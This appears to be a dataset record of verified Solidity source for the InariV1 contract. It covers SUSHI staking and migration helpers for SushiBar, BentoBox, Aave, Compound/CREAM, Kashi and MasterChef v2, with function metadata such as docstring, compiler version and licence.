ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
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/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
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// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | stakeSushiToAave | function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
| /// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
10672,
11119
]
} | 11,783 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
